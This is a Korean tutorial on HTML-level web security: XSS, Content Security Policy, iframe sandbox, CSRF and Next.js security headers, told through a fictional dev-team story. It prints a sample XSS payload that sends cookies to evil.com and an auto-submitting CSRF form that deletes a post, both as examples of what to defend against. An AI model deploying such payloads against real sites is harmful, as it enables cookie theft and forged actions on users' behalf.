🔐 03. HTML 보안 기초: 내가 만든 폼이 공격 경로가 된다면

2026년 3월 5일 수정됨

📋 개요

XSS, CSRF, Content Security Policy, iframe sandbox, sri — HTML 수준에서 방어할 수 있는 보안 취약점과 방어 기법을 실전 예시로 다룹니다.

📌 이 문서를 읽기 전에

⏱️ 예상 읽기 시간: 20분 / 핵심 파트만: 12분

🎯 이 문서의 위치

HTML guide 04번(form/input)과 03번(head/meta/SEO)을 먼저 읽어보세요.

🗺️ 이 문서의 흐름

[XSS 공격과 방어] → [CSRF와 same-site 쿠키] → [Content Security Policy] → [iframe sandbox] → [Next.js 보안 헤더 설정]

🎯 이 문서를 다 읽으면 할 수 있는 것

XSS 공격이 HTML에서 어떻게 발생하는지, innerHTML 사용의 위험성을 설명할 수 있다.
CSRF가 무엇인지, SameSite 쿠키와 CSRF 토큰으로 어떻게 방어하는지 알 수 있다.
CSP(Content Security Policy) 의 역할과 기본 설정을 이해한다.
Next.js에서 보안 헤더를 설정하는 방법을 알 수 있다.

🗺️ 이 문서의 배경 세계관: '영수네 커뮤니티'

🐣 영철 ( 신입 ): "영호 님, 우리 게시판에 댓글에 <script> 태그 넣으면 어떻게 되나요? 설마 실행이 되는 건 아니죠?"
🦁 영호 ( 리드 ): "영철 님, 지금 당장 테스트해봐요. 만약 <script>alert('XSS')</script> 를 댓글에 쓰고 alert 창이 뜨면, 공격자는 그 자리에서 사용자 쿠키를 빼갈 수 있어요. XSS는 HTML 렌더링 레벨에서 발생하는 공격이라 서버 언어 상관없이 모든 웹 앱이 대상이에요."

🚨 1. XSS (Cross-Site Scripting) — HTML 수준의 가장 위험한 공격

XSS는 공격자가 악성 스크립트를 웹 페이지에 주입해 다른 사용자의 브라우저에서 실행시키는 공격이야.

<!-- ❌ 취약한 패턴: 사용자 입력을 innerHTML에 직접 삽입 -->
<div id="comment-area"></div>
<script>
  // 사용자 댓글을 그대로 innerHTML에 삽입
  const userComment = "<script>document.cookie = 'stolen'; fetch('https://evil.com?c=' + document.cookie)</script>";
  document.getElementById('comment-area').innerHTML = userComment;
  // → 악성 스크립트가 실행되어 쿠키 탈취!
</script>

방어 전략:

// ✅ 방어 1: innerHTML 대신 textContent 사용 (HTML 파싱 없이 텍스트로만 삽입)
const userComment = "<script>악성코드</script>";
document.getElementById('comment-area').textContent = userComment;
// textContent는 HTML 태그를 그대로 문자열로 처리 → 스크립트 실행 안 됨

// ✅ 방어 2: React는 기본적으로 XSS 방어 (자동 이스케이프)
function Comment({ text }: { text: string }) {
  // React JSX는 자동으로 문자열을 이스케이프 → 스크립트 삽입 불가
  return <div>{text}</div>;
}
 
// ❌ dangerouslySetInnerHTML는 React의 XSS 방어를 우회함!
// 반드시 서버에서 sanitize 후 사용
function RichContent({ html }: { html: string }) {
  // isomorphic-dompurify 등으로 sanitize 후 사용
  return <div dangerouslySetInnerHTML={{ __html: sanitize(html) }} />;
}

🛡️ 2. Content Security Policy (CSP) — 허용된 출처만 실행

CSP는 브라우저에게 어떤 출처의 스크립트/스타일만 실행할지 선언하는 HTTP 헤더야. HTML <meta> 태그로도 설정 가능.

<!-- HTML meta로 CSP 설정 (HTTP 헤더 방식이 더 권장됨) -->
<meta
  http-equiv="Content-Security-Policy"
  content="
    default-src 'self';
    script-src 'self' https://analytics.example.com;
    style-src 'self' 'unsafe-inline' https://fonts.googleapis.com;
    img-src 'self' data: https://cdn.example.com;
    font-src 'self' https://fonts.gstatic.com;
    connect-src 'self' https://api.ysdeveloper.community;
  "
/>

CSP 지시어 해설:

default-src 'self': 동일 출처만 허용 (기본값)
script-src 'self' https://analytics.example.com: 자체 서버 + 특정 분석 서버의 JS만 실행
'unsafe-inline': 인라인 스크립트/스타일 허용 (XSS 방어 약화, 피하는 게 좋음)

Next.js에서 CSP와 보안 헤더 설정:

// next.config.js
const securityHeaders = [
  {
    key: "Content-Security-Policy",
    value: [
      "default-src 'self'",
      "script-src 'self' 'nonce-${nonce}'", // nonce 기반 인라인 스크립트 허용
      "style-src 'self' 'unsafe-inline'",
      "img-src 'self' blob: data:",
      "font-src 'self'",
    ].join("; "),
  },
  {
    key: "X-Frame-Options",
    value: "DENY", // 이 페이지를 iframe 안에 넣지 못하게 (클릭재킹 방어)
  },
  {
    key: "X-Content-Type-Options",
    value: "nosniff", // MIME 타입 스니핑 방지
  },
  {
    key: "Referrer-Policy",
    value: "strict-origin-when-cross-origin",
  },
];
 
module.exports = {
  async headers() {
    return [
      {
        source: "/(.*)",
        headers: securityHeaders,
      },
    ];
  },
};

🖼️ 3. iframe sandbox — 임베드 콘텐츠 격리

서드파티 콘텐츠를 <iframe> 으로 임베드할 때 sandbox 속성으로 권한을 제한해.

<!-- ❌ sandbox 없는 iframe: 임베드 페이지가 부모 페이지에 자유롭게 접근 가능 -->
<iframe src="https://external-widget.com"></iframe>
 
<!-- ✅ sandbox로 권한 최소화 -->
<iframe
  src="https://external-widget.com"
  sandbox="allow-scripts allow-same-origin"
  <!-- allow-scripts: JS 실행 허용 (위젯이 동작해야 하므로) -->
  <!-- allow-same-origin: 동일 출처 정책 허용 (필요한 경우만) -->
  <!-- allow-forms: 폼 제출 허용 -->
  <!-- allow-popups: 팝업 허용 -->
  <!-- 나머지 기능은 모두 차단 -->
  loading="lazy"
></iframe>

🔒 4. CSRF — 사용자 모르게 요청 위조

CSRF(Cross-Site Request Forgery)는 로그인된 사용자의 권한을 이용해 의도하지 않은 요청을 보내는 공격이야.

<!-- ❌ CSRF 공격 시나리오: 악성 사이트의 숨겨진 폼 -->
<!-- 피해자가 evil.com 방문 시 ysdeveloper.community에 게시글 삭제 요청이 자동 발송됨 -->
<body onload="document.forms[0].submit()">
  <form action="https://ysdeveloper.community/api/posts/1" method="POST">
    <input type="hidden" name="_method" value="DELETE" />
  </form>
</body>

방어 전략:

CSRF 토큰: 서버가 세션별 고유 토큰을 폼에 삽입, 제출 시 검증
SameSite 쿠키: Set-Cookie: session=abc; SameSite=Strict — 크로스 사이트 요청 시 쿠키 전송 안 됨

<!-- CSRF 토큰을 hidden input으로 폼에 포함 (서버에서 생성) -->
<form method="POST" action="/api/posts">
  <input type="hidden" name="csrf_token" value="{{ server_generated_token }}" />
  <!-- ... 나머지 필드 -->
</form>

📝 마무리 퀴즈

Q1. React의 dangerouslySetInnerHTML 을 사용해야 할 때 반드시 해야 하는 것은?

✅ 정답: DOMPurify 같은 sanitize 라이브러리로 HTML 정제 후 삽입

💡 상세 해설:

dangerouslySetInnerHTML 은 React의 자동 XSS 방어를 우회하므로, 직접 삽입하는 HTML이 안전한지 직접 보장해야 해요. isomorphic-dompurify 나 DOMPurify 로 <script>, 이벤트 핸들러 속성 등을 제거한 후 사용해요.

Q2. Content Security Policy에서 script-src 'self' 만 설정했을 때 인라인 <script> 태그가 실행되지 않는 이유는?

✅ 정답: CSP의 script-src 'self' 는 동일 출처의 외부 JS 파일만 허용하고, 인라인 스크립트는 기본적으로 차단함 (인라인 허용하려면 'unsafe-inline' 또는 'nonce-xxx' 필요)

💡 상세 해설:

CSP는 XSS의 핵심인 인라인 스크립트를 기본적으로 차단해요. 'unsafe-inline' 을 허용하면 편의성은 높아지지만 인라인 XSS 공격이 가능해지므로, nonce 기반 방식으로 특정 인라인 스크립트만 허용하는 게 권장이에요.

Q3. 영철이의 테스트 타임

영수네 커뮤니티에 외부 YouTube 동영상을 <iframe> 으로 임베드하려 한다.
보안을 위해 어떤 속성을 추가해야 하는가?

✅ 정답: sandbox="allow-scripts allow-same-origin allow-presentation" 와 loading="lazy" 추가

💡 상세 해설:

YouTube iframe에는 스크립트가 필요하므로 allow-scripts 는 필수예요. allow-same-origin 은 YouTube가 자체 인증을 위해 필요할 수 있어요. 나머지 권한(팝업, 양식 제출 등)은 차단해서 최소 권한을 준수하세요.

🐣 영철이의 퇴근 일기

진짜 오늘 식은땀 났다. 테스트해보니까 우리 댓글 입력창에 <script>alert('XSS')</script> 넣으니까 alert가 떴다. React JSX로 출력하면 자동 이스케이프되는데, 이전에 누군가 dangerouslySetInnerHTML 로 짠 부분이 있었던 거다. 영호 리드 님이 "이 PR 안 올라왔으면 보안 사고 났을 거예요"라고 하셨을 때 진짜 아찔했다.

💡 "보안은 개발 편의를 위한 innerHTML, dangerouslySetInnerHTML 같은 '위험한 지름길'을 쓰지 않는 습관에서 시작한다. React를 쓴다고 자동으로 안전한 게 아니다."

CSP 설정하고 Lighthouse 다시 돌렸을 때 보안 점수가 올라가는 걸 보니 뿌듯하다. 다음엔 OWASP Top 10 읽어봐야겠다.

🔗 더 알아보기